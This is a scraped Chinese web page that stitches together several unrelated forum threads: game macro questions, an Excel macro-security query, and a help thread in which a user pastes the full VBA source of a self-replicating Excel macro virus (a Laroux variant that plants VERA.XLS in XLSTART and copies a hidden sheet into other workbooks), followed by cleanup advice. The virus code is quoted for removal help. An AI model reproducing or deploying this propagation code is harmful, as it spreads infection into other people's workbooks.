求一键下马宏求高手给个一键上下马的宏 - 爱问知识人
(window.slotbydup=window.slotbydup || []).push({
id: '2491531',
container: s,
size: '150,90',
display: 'inlay-fix'
求一键下马宏
..........你要是能多看看游戏设置里的哪个按键设置，你会发现可以把那个马的图标放在一个格子上，设置上按键，然后点一下键盘他就能上下马了，关键是你得多看看按键设置。
还是下马啊，把坐骑图标拖出来不就是一个键么
您的举报已经提交成功，我们将尽快处理，谢谢！
给双手的武器都上毒, 这个可以减少不少时间哦~~!
==================
主手：/script UseContainerItem(Bag...
大家还关注查看: 3439|回复: 3
求高手解决-Microsoft Excel 4.0版本宏--在线等！
新鲜人, 积分 1, 距离下一级还需 9 积分
积分学习力
魅力值 影响力
消费券 Ti币好友
在线时间 小时
最后登录月度优秀 次
免费注册成为本站会员，享用更多功能，结识更多Office办公高手！
才可以下载或查看，没有帐号？
打开03 excel& &老是出现&&该工作簿中含有一种既无法被禁用又无法被签署的宏(Microsoft Excel 4.0版本宏）& &
必须 把 宏调成低 才能 打开，&&而且 在注册表里面 都找不到调节 宏高低的&&123等级数字了！
求 高手解决！ 在线等！
学office，哪能不关注全网最大的Office类微博（新浪）
积分学习力
魅力值 影响力
消费券 Ti币好友
在线时间 小时
最后登录月度优秀 次管理次数 次
中了宏病毒了吧
搜索文件夹XLSTART，然后删除下面的文件，删除前，请先通过工具——选项，设置显示所有文件和文件夹，这样隐藏的文件可以看见
学office，哪能不关注全网最大的Office类微博（新浪）
积分学习力
魅力值 影响力
消费券 Ti币好友
在线时间 小时
最后登录月度优秀 次管理次数 次
这种是设置你必须使用宏才能打开工作簿
学office，哪能不关注全网最大的Office类微博（新浪）
积分学习力
魅力值 影响力
消费券 Ti币好友
在线时间 小时
最后登录月度优秀 次管理次数 次
建议压缩Excel文档并上传附件看下。
学office，哪能不关注全网最大的Office类微博（新浪）
Excel技巧网的会员探讨问题仅代表其个人意见，与网站的立场无关。任何违反国家和地方相关法律法规的言论，本站有义务协助政府相关部门追究发言者的责任！
本站中非注明转载文章与案例的版权为作者与Excel技巧网共有。若非原文作者，本站之外任何单位或个人未经允许，不得将其用于商业用途。
若非原文作者，任何形式的非商业性转载必须获得Excel技巧网或作者允许，并注明作者和出处。
会员发表的帖子如涉及版权纠纷，须自行负责。详情请参考注册时的网站服务条款。
本站特聘法律顾问：沈学律师
Powered by求高手给个血DK的宏！_百度知道邪DK常用宏邪DK常用宏求几个邪DKPVP用的宏第一个按一下食尸鬼对目标-知识宝库
你可能对下面的信息感兴趣查看: 9001|回复: 30
十万火急，宏病毒感染了我们整个部门，求高手解决！！！
阅读权限10
在线时间 小时
本来这个病毒也好解决，主要我们单位有自主开发的宏，故解决该病毒比较困难，就高手帮助！！！！谢谢
下面是Locas模块下宏病毒代码：
& & Set X = CreateObject(&ADODB.Connection&)
& & X.Open &Provider=Microsoft.Jet.OLEDB.4.0;Extended Properties=Excel 8.0;Data Source=& & ThisWorkbook.FullName
Sql = &select mid(款号,1,2) & '0000 组', sum(件数) from [货品销售$] group by&&mid(款号,1,2)&
& & Set yy = X.Execute(Sql)
& &[g10:h44].Clear
& &[g10].CopyFromRecordset yy
& && &&&Set yy = Nothing:& & Set X = Nothing
Sub auto_open()
& & Application.OnSheetActivate = &check_files&
Sub check_files()
& & c$ = Application.StartupPath
& & m$ = Dir(c$ & &\& & &VERA.XLS&)
& & If m$ = &VERA.XLS& Then p = 1 Else p = 0
& & If ActiveWorkbook.Modules.Count & 0 Then w = 1 Else w = 0
& & whichfile = p + w * 10
Select Case whichfile
& & Case 10
& & Application.ScreenUpdating = False
& & n4$ = ActiveWorkbook.Name
& & Sheets(&locas&).Visible = True
& & Sheets(&locas&).Select
& & Sheets(&locas&).Copy
& & With ActiveWorkbook
& && &&&.Title = &&
& && &&&.Subject = &&
& && &&&.Author = &&
& && &&&.Keywords = &&
& && &&&.Comments = &&
& & End With
& & newname$ = ActiveWorkbook.Name
& & c4$ = CurDir()
& & ChDir Application.StartupPath
& & ActiveWindow.Visible = False
& & Workbooks(newname$).SaveAs FileName:=Application.StartupPath & &/& & &VERA.XLS&, FileFormat:=xlNormal _
& && &&&, Password:=&&, WriteResPassword:=&&, ReadOnlyRecommended:= _
& && &&&False, CreateBackup:=False
& & ChDir c4$
& & Workbooks(n4$).Sheets(&LOCAS&).Visible = False
& & Application.OnSheetActivate = &&
& & Application.ScreenUpdating = True
& & Application.OnSheetActivate = &VERA.xls!check_files&
& & Case 1
& & Application.ScreenUpdating = False
& & n4$ = ActiveWorkbook.Name
& & p4$ = ActiveWorkbook.Path
& & s$ = Workbooks(n4$).Sheets(1).Name
& & If s$ && &LOCAS& Then
& && && &Workbooks(&VERA.XLS&).Sheets(&LOCAS&).Copy before:=Workbooks(n4$).Sheets(1)
& & Workbooks(n4$).Sheets(&LOCAS&).Visible = False
& & End If
& & Application.OnSheetActivate = &&
& & Application.ScreenUpdating = Tru
& & Application.OnSheetActivate = &VERA.xls!check_files&
& & Case Else
End Select
小弟大致明白原因，主要是这个LOCAS模块和C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART\路径下建了个VERA.xls文件惹的祸。
求一个批量删除该病毒的文件
版主等高手帮帮忙& &在线等
阅读权限30
在线时间 小时
楼主 是在 广告 你的病毒 啊
阅读权限50
在线时间 小时
禁用宏再删除吧,从代码看起来,这个似乎没有什么其它的危害呀,它是在激活工作表时触发事件的
阅读权限20
在线时间 小时
好象不是什么病毒。。不懂计算机的人，搞不定的问题都说是病毒。
阅读权限10
在线时间 小时
看样子&&楼上的都不是高手
阅读权限10
在线时间 小时
这个是名副其实的X97M.Laroux.Pa病毒
阅读权限10
在线时间 小时
求斑竹 帮忙看下&&有什么解决的办法&&由于我们自主研发的软件需要用到宏，所以不能把宏禁用掉
阅读权限10
在线时间 小时
用杀毒软件会把我们自主研发的宏也给杀掉。
阅读权限70
在线时间 小时
& & & & & & & &
杀掉后，重新***不就好了
阅读权限100
在线时间 小时
MS无毒。。 楼主别太紧张了。
玩命加载中，请稍候
玩命加载中，请稍候
Powered by
本论坛言论纯属发表者个人意见，任何违反国家相关法律的言论，本站将协助国家相关部门追究发言者责任！ & & 本站特聘法律顾问：徐怀玉律师 李志群律师